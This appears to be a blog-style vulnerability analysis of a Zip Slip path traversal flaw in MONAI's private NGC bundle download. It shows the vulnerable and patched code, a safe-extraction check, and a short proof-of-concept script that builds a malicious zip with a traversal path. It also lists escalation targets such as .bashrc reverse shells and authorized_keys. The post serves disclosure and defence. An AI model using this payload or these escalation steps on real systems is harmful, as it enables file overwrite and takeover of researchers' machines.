MONAI Zip Slip: Because Validating File Paths is Too Mainstream
Jan 7, 2026·6 min read
Executive Summary (TL;DR)
MONAI, a widely used framework for medical AI, failed to sanitize file paths when unpacking bundles from private NVIDIA GPU Cloud (NGC) repositories. By tricking a user into downloading a compromised model bundle, an attacker can exploit a path traversal vulnerability (Zip Slip) to write files anywhere the user has permissions. This can escalate from simple file overwrites to full Remote Code Execution (RCE) if sensitive configuration files (like .bashrc or SSH keys) are targeted.
A classic Zip Slip vulnerability in the MONAI medical AI framework allows attackers to overwrite arbitrary files on a researcher's machine via malicious NGC private bundles.
The Hook: Medical AI Meets Retro Exploits
Medical AI is the frontier of technology. We have neural networks detecting tumors, transformers analyzing genomic sequences, and sophisticated pipelines orchestrating it all. The Medical Open Network for AI (MONAI) sits at the heart of this, providing the tools researchers need to build these life-saving models. But as we often see in the bleeding edge of tech, the security is sometimes stuck in the stone age.
Enter CVE-2026-21851. It’s not a fancy heap overflow in a custom tensor kernel. It’s not a quantum decryption attack. It is Zip Slip—a vulnerability pattern so old and well-documented that it feels like digging up a fossil. But this fossil bites.
The vulnerability resides in how MONAI handles "bundles"—pre-packaged models and configurations—specifically when downloading them from private NVIDIA GPU Cloud (NGC) repositories. While the public download paths were armored up, the private download function was left wide open, assuming that if you have credentials to a private repo, you must be trustworthy. Spoiler: Trust is a vulnerability.
The Flaw: Python's Favorite Footgun
The root cause here is a tale as old as Python itself: the misuse of zipfile.ZipFile.extractall(). The Python documentation explicitly warns developers: "Never extract archives from untrusted sources without prior inspection." Yet, here we are.
When you unzip a file, the archive contains a list of filenames. In a sane world, these are just names like model.pt or config.json. In a malicious world, a filename can be ../../../../../../home/victim/.ssh/authorized_keys.
MONAI's _download_from_ngc_private() function blindly took the zip file retrieved from the NGC server and called extractall() on it. It didn't check if the files inside were trying to escape the destination directory. It simply obeyed the zip file's instructions. If the zip file said "put this file in the root directory," MONAI said "Yes, master."
[!NOTE] It is ironic that MONAI actually has a secure extraction utility called
safe_extract_memberused elsewhere in the codebase. The developers knew how to do it right—they just forgot to apply it to this specific function.
The Code: A One-Line Catastrophe
Let's look at the smoking gun in monai/bundle/scripts.py. The code is deceptively simple, which is exactly why it's dangerous.
The Vulnerable Code:
# Inside _download_from_ngc_private
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
# THE BUG: Blindly extracting everything
z.extractall(extract_path)
logger.info(f"Writing into directory: {extract_path}.")That single line z.extractall(extract_path) is the end of the game. It delegates all filesystem logic to the zip structure itself.
The Fix:
The patch is straightforward. The developers swapped the native extractall for their internal helper _extract_zip, which likely implements os.path.commonpath checks to ensure the destination resolves within the target directory.
# The Patched Version
from monai.apps.utils import _extract_zip
# ... inside the function ...
extract_path = download_path / f"{filename}"
# THE FIX: Using the safe wrapper
_extract_zip(zip_path, extract_path)
logger.info(f"Writing into directory: {extract_path}.")The commit hash for this fix is 4014c8475626f20f158921ae0cf98ed259ae4d59. It's a textbook example of replacing unsafe standard library calls with a sanitized wrapper.
The Exploit: Escaping the Sandbox
To exploit this, we don't need complex memory corruption exploits. We just need a few lines of Python to generate a "bad" zip file. The goal is to traverse out of the download folder and write a file somewhere sensitive.
Here is how an attacker constructs the payload:
import zipfile
import io
def craft_payload():
# The target file we want to overwrite or create
target = "../../../../../../tmp/pwned.txt"
# Create the zip in memory
mem_zip = io.BytesIO()
with zipfile.ZipFile(mem_zip, 'w', zipfile.ZIP_DEFLATED) as zf:
# Add a benign file to look legitimate
zf.writestr("config.json", '{"model": "benign"}')
# Add the malicious traversal file
# When MONAI extracts this, it walks up the directory tree
zf.writestr(target, "You have been visited by the Zip Slip fairy.")
with open("malicious_model.zip", "wb") as f:
f.write(mem_zip.getvalue())
print("Payload ready. Upload this to the private NGC repo.")Once this file is uploaded to a private NGC repository (perhaps by compromising a teammate's account or a supply chain attack on the repo itself), any user who runs the bundle download script will trigger the file write immediately upon extraction. No warning, no error, just a silent file creation outside the intended directory.
The Impact: From File Write to RCE
Why is this rated Medium (5.3) and not Critical? Mainly because it requires the victim to download a specific file from a private repo. However, in a corporate or research environment, the impact is severe.
Arbitrary File Write is often a stepping stone to Remote Code Execution (RCE). If the researcher is running MONAI on their local Linux workstation (which they almost certainly are), the attacker could target:
~/.bashrcor~/.zshrc: Append a reverse shell command. The next time the researcher opens a terminal, you own the box.~/.ssh/authorized_keys: Add the attacker's public key. Now you can SSH in whenever you want.- Python Site-Packages: Overwrite a common library file (like
numpyortorchinit scripts). The next time any script imports that library, the malicious code runs.
This turns a "file write" vulnerability into a full compromise of the researcher's environment, potentially leaking proprietary models, patient data, or granting access to the wider hospital/lab network.
The Fix: Sanitization is Key
The mitigation is simple: Upgrade. If you are using MONAI, ensure you are on version 1.4.0 or later.
For developers reading this who implement their own zip extraction logic: stop using extractall without safeguards. You must canonize the path and check that the destination starts with the intended directory.
# The "Right" Way to Extract
dest = os.path.abspath(target_dir)
member_path = os.path.abspath(os.path.join(dest, member.filename))
if not member_path.startswith(dest):
raise Exception("Attempted Path Traversal")If you don't write this check, you are leaving your window open while locking the front door.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
MONAI Project-MONAI | < 1.4.0 | 1.4.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 |
| Attack Vector | Network (Context Dependent) |
| CVSS Score | 5.3 (Medium) |
| Impact | Arbitrary File Write / RCE |
| Affected Component | monai.bundle.scripts._download_from_ngc_private |
| Exploit Status | PoC Available |
MITRE ATT&CK Mapping
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.